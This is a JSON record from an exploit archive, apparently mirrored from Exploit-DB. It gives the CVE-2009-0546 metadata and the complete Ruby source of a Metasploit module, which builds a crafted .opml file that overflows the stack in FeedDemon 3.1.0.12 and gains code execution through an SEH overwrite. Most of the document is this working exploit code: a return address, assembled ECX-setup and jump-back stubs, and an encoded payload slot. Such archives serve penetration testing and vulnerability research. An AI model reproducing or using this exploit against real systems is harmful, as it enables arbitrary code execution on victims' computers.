{"exploit":{"id":"EDB-16640","name":"feedDemon 3.1.0.12 - Local Stack Buffer Overflow (Metasploit)","description":"feedDemon 3.1.0.12 - Local Stack Buffer Overflow (Metasploit)","cves":["CVE-2009-0546"],"author":"Metasploit","published":"2010-11-11","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16640","path":"exploits/windows/local/16640.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16640.rb","vulnerabilities":[{"id":"CVE-2009-0546","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in NewsGator FeedDemon 2.7 and earlier allows user-assisted remote attackers to execute arbitrary code via a long text attribute in an outline element in a .opml file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-0546","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-0546"},"updatedAt":"2024-08-07T04:40:05.077Z","retrievedAt":"2026-11-26T12:09:15.108Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16640.png?v=2","url":"https://exploitbin.com/exploits/EDB-16640","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16640/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16640/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: feeddemon_opml.rb 10998 2010-11-11 22:43:22Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tinclude Msf::Exploit::FILEFORMAT\n\tinclude Msf::Exploit::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application\n\t\t\t\tis used to import a specially crafted opml file, a buffer overflow occurs allowing\n\t\t\t\tarbitrary code execution.\n\n\t\t\t\tAll versions are suspected to be vulnerable. This vulnerability was originally reported\n\t\t\t\tagainst version 2.7 in February of 2009.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'fl0 fl0w',  # Original Exploit\n\t\t\t\t\t'dookie',    # MSF Module\n\t\t\t\t\t'jduck'      # SEH + AlphanumMixed fixes\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 10998 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-0546' ],\n\t\t\t\t\t[ 'OSVDB', '51753' ],\n\t\t\t\t\t[ 'BID', '33630' ],\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/7995' ],\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/8010' ],\n\t\t\t\t\t[ 'URL', 'http://www.exploit-db.com/exploits/11379' ]\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t\t'DisablePayloadHandler' => 'true',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1024,\n\t\t\t\t\t'BadChars' => \"\\x0a\\xd8\\xd9\\xda\\xdb\\xdc\\xdd\\xde\\xdf\\xff\",\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t# We are not strictly limited to alphanumeric. However, currently\n\t\t\t\t\t# no encoder can handle our bad character set.\n\t\t\t\t\t'EncoderType' => Msf::Encoder::Type::AlphanumMixed,\n\t\t\t\t\t'EncoderOptions' =>\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'BufferRegister' => 'ECX',\n\t\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# Tested OK on XPSP3 - jduck\n\t\t\t\t\t[ 'Windows Universal',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret' => 0x00501655   # p/p/r in FeedDemon.exe v3.1.0.12\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'Privileged'     => false,\n\t\t\t'DisclosureDate' => 'Feb 09 2009',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']),\n\t\t\t], self.class)\n\n\tend\n\n\tdef exploit\n\n\t\thead_opml = '<opml version=\"1.1\">'\n\t\thead_opml << '<body>'\n\t\thead_opml << '<outline text=\"'\n\n\t\theader = \"\\xff\\xfe\" # Unicode BOM\n\t\theader << Rex::Text.to_unicode(head_opml)\n\n\t\tfoot_opml = '\">'\n\t\tfoot_opml << '<outline text=\"BKIS\" title=\"SVRT\" type=\"rss\" xmlUrl=\"http://milw0rm.com/rss.php\"/>'\n\t\tfoot_opml << '</outline>'\n\t\tfoot_opml << '</body>'\n\t\tfoot_opml << '</opml>'\n\t\tfooter = Rex::Text.to_unicode(foot_opml)\n\n\t\t# Set ECX to point to the alphamixed encoded buffer (IIIII...)\n\t\t# We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8\n\t\toff = 0x1ff2\n\t\tset_ecx_asm = %Q|\n\t\t\tmov ecx, [esp+8]\n\t\t\tsub ecx, #{0x01010101 + off}\n\t\t\tadd ecx, 0x01010101\n\t\t|\n\t\tset_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string\n\n\t\t# Jump back to the payload, after p/p/r jumps to us.\n\t\t# NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars..\n\t\t# 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself\n\t\tdistance = 0x1ffd + 8 + 5\n\t\tjmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, \"jmp $-\" + distance.to_s).encode_string\n\n\t\t# SEH\n\t\tseh_frame = generate_seh_record(target.ret)\n\n\t\t# Assemble everything together\n\t\tsploit = ''\n\t\tsploit << set_ecx\n\t\tsploit << payload.encoded\n\t\tsploit << rand_text_alphanumeric(8194 - sploit.length)\n\t\tsploit << seh_frame\n\t\tsploit << jmp_back\n\t\tsploit << rand_text_alphanumeric(8318 - sploit.length)\n\t\t# Ensure access violation reading from smashed pointer\n\t\tnum = rand_text(4).unpack('V')[0]\n\t\tsploit << [num | 0x80000000].pack('V')\n\n\t\tevil = header + sploit + footer\n\n\t\tprint_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n\t\tfile_create(evil)\n\n\tend\n\nend","sha256":"4b600b13d50c22e0ee7b2c2c966832a943bc03f6e850fbe64c995530cb877a0c","bytes":4127,"fetchedAt":"2026-11-26T12:09:10.688Z","encoding":"utf-8 (display only; download retains original bytes)"}